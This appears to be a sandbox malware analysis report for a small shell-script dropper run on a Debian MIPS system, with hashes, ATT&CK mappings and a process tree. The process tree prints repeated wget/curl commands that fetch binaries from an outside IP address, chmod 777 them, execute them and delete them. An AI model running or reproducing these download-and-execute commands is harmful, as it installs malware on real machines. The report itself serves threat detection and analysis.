81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4

Analysis

max time kernel
28s
max time network
30s
platform
debian-9_mipsel
resource
debian9-mipsel-20260513-en
resource tags

arch:mipselimage:debian9-mipsel-20260513-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
23/06/2026, 03:39

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General

Target
_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
Size 1KB
Sample260623-d73vmsav5x
SHA256 81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4
MD5 1865fee9530043da7871f7c02fc42d3b
SHA1 01e0521ab67c9ccfe1fa05f843c0c8036408d786
SHA512 b3868a19f5736972fca0b6dc983780203df5a9ea2894b995955d78b3bb0da96a1600a96e9fed0b3ea555e97bb2014e29bdd55611f784dd1e60aee98185b38cc1
TLSH
T1BB310FDF45112B392602CACE7367255CB40C91EB2D6BC7E8CC8C4EE987A89CC7221B95
MD5 SHA1 SHA512 TLSH

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
884	chmod
891	chmod
746	chmod
810	chmod
826	chmod
847	chmod
867	chmod
737	chmod
753	chmod
766	chmod
787	chmod
833	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/b83c61	738	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/3a9685	747	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/ff6b53	754	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/0d92bc	768	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/028f6a	788	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/3127f9	812	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/1821a1	827	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/15ce08	834	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/53718b	849	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/cac388	869	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/4e4048	885	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/7634e8	892	_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh

Reads runtime system information 12 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/b83c61	curl
File opened for modification	/tmp/3a9685	curl
File opened for modification	/tmp/ff6b53	curl
File opened for modification	/tmp/0d92bc	curl
File opened for modification	/tmp/3127f9	curl
File opened for modification	/tmp/1821a1	curl
File opened for modification	/tmp/53718b	curl
File opened for modification	/tmp/7634e8	curl
File opened for modification	/tmp/028f6a	curl
File opened for modification	/tmp/15ce08	curl
File opened for modification	/tmp/cac388	curl
File opened for modification	/tmp/4e4048	curl

/tmp/_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
/tmp/_81c6b50efe5c39ba960e8d85ce96ed421b4e31c4e0901ad7d295570ac941f5c4.sh
1⤵
- Executes dropped EXE
PID:713
- /usr/bin/wget
  wget http://5.182.210.61/b83c61
  2⤵
  PID:717
- /usr/bin/curl
  curl -O http://5.182.210.61/b83c61
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:731
- /bin/chmod
  chmod 777 b83c61
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/b83c61
  ./b83c61 bc
  2⤵
  PID:738
- /bin/rm
  rm -rf b83c61
  2⤵
  PID:740
- /bin/rm
  rm -rf b83c61.1
  2⤵
  PID:742
- /usr/bin/wget
  wget http://5.182.210.61/3a9685
  2⤵
  PID:743
- /usr/bin/curl
  curl -O http://5.182.210.61/3a9685
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:745
- /bin/chmod
  chmod 777 3a9685
  2⤵
  - File and Directory Permissions Modification
  PID:746
- /tmp/3a9685
  ./3a9685 bc
  2⤵
  PID:747
- /bin/rm
  rm -rf 3a9685
  2⤵
  PID:749
- /bin/rm
  rm -rf 3a9685.1
  2⤵
  PID:750
- /usr/bin/wget
  wget http://5.182.210.61/ff6b53
  2⤵
  PID:751
- /usr/bin/curl
  curl -O http://5.182.210.61/ff6b53
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:752
- /bin/chmod
  chmod 777 ff6b53
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/ff6b53
  ./ff6b53 bc
  2⤵
  PID:754
- /bin/rm
  rm -rf ff6b53
  2⤵
  PID:756
- /bin/rm
  rm -rf ff6b53.1
  2⤵
  PID:757
- /usr/bin/wget
  wget http://5.182.210.61/0d92bc
  2⤵
  PID:758
- /usr/bin/curl
  curl -O http://5.182.210.61/0d92bc
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:759
- /bin/chmod
  chmod 777 0d92bc
  2⤵
  - File and Directory Permissions Modification
  PID:766
- /tmp/0d92bc
  ./0d92bc bc
  2⤵
  PID:768
- /bin/rm
  rm -rf 0d92bc
  2⤵
  PID:771
- /bin/rm
  rm -rf 0d92bc.1
  2⤵
  PID:772
- /usr/bin/wget
  wget http://5.182.210.61/028f6a
  2⤵
  PID:773
- /usr/bin/curl
  curl -O http://5.182.210.61/028f6a
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:778
- /bin/chmod
  chmod 777 028f6a
  2⤵
  - File and Directory Permissions Modification
  PID:787
- /tmp/028f6a
  ./028f6a bc
  2⤵
  PID:788
- /bin/rm
  rm -rf 028f6a
  2⤵
  PID:790
- /bin/rm
  rm -rf 028f6a.1
  2⤵
  PID:792
- /usr/bin/wget
  wget http://5.182.210.61/3127f9
  2⤵
  PID:794
- /usr/bin/curl
  curl -O http://5.182.210.61/3127f9
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:800
- /bin/chmod
  chmod 777 3127f9
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/3127f9
  ./3127f9 bc
  2⤵
  PID:812
- /bin/rm
  rm -rf 3127f9
  2⤵
  PID:815
- /bin/rm
  rm -rf 3127f9.1
  2⤵
  PID:816
- /usr/bin/wget
  wget http://5.182.210.61/1821a1
  2⤵
  PID:818
- /usr/bin/curl
  curl -O http://5.182.210.61/1821a1
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:824
- /bin/chmod
  chmod 777 1821a1
  2⤵
  - File and Directory Permissions Modification
  PID:826
- /tmp/1821a1
  ./1821a1 bc
  2⤵
  PID:827
- /bin/rm
  rm -rf 1821a1
  2⤵
  PID:829
- /bin/rm
  rm -rf 1821a1.1
  2⤵
  PID:830
- /usr/bin/wget
  wget http://5.182.210.61/15ce08
  2⤵
  PID:831
- /usr/bin/curl
  curl -O http://5.182.210.61/15ce08
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:832
- /bin/chmod
  chmod 777 15ce08
  2⤵
  - File and Directory Permissions Modification
  PID:833
- /tmp/15ce08
  ./15ce08 bc
  2⤵
  PID:834
- /bin/rm
  rm -rf 15ce08
  2⤵
  PID:836
- /bin/rm
  rm -rf 15ce08.1
  2⤵
  PID:837
- /usr/bin/wget
  wget http://5.182.210.61/53718b
  2⤵
  PID:838
- /usr/bin/curl
  curl -O http://5.182.210.61/53718b
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:839
- /bin/chmod
  chmod 777 53718b
  2⤵
  - File and Directory Permissions Modification
  PID:847
- /tmp/53718b
  ./53718b bc
  2⤵
  PID:849
- /bin/rm
  rm -rf 53718b
  2⤵
  PID:851
- /bin/rm
  rm -rf 53718b.1
  2⤵
  PID:852
- /usr/bin/wget
  wget http://5.182.210.61/cac388
  2⤵
  PID:854
- /usr/bin/curl
  curl -O http://5.182.210.61/cac388
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:859
- /bin/chmod
  chmod 777 cac388
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/cac388
  ./cac388 bc
  2⤵
  PID:869
- /bin/rm
  rm -rf cac388
  2⤵
  PID:872
- /bin/rm
  rm -rf cac388.1
  2⤵
  PID:873
- /usr/bin/wget
  wget http://5.182.210.61/4e4048
  2⤵
  PID:874
- /usr/bin/curl
  curl -O http://5.182.210.61/4e4048
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:879
- /bin/chmod
  chmod 777 4e4048
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/4e4048
  ./4e4048 bc
  2⤵
  PID:885
- /bin/rm
  rm -rf 4e4048
  2⤵
  PID:887
- /bin/rm
  rm -rf 4e4048.1
  2⤵
  PID:888
- /usr/bin/wget
  wget http://5.182.210.61/7634e8
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://5.182.210.61/7634e8
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/chmod
  chmod 777 7634e8
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/7634e8
  ./7634e8 bc
  2⤵
  PID:892
- /bin/rm
  rm -rf 7634e8
  2⤵
  PID:894
- /bin/rm
  rm -rf 7634e8.1
  2⤵
  PID:895

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

b83c61

Path /tmp/b83c61
Size 19B
SHA256 b16e15764b8bc06c5c3f9f19bc8b99fa48e7894aa5a6ccdad65da49bbf564793
MD5 595e88012a6521aae3e12cbebe76eb9e
SHA1 da3968197e7bf67aa45a77515b52ba2710c5fc34
SHA512 fd13c580d15cc5e8b87d97ead633209930e00e85c113c776088e246b47f140efe99bdf6ab02070677445db65410f7e62ec23c71182f9f78e9d0e1b9f7fda0dc3
MD5 SHA1 SHA512

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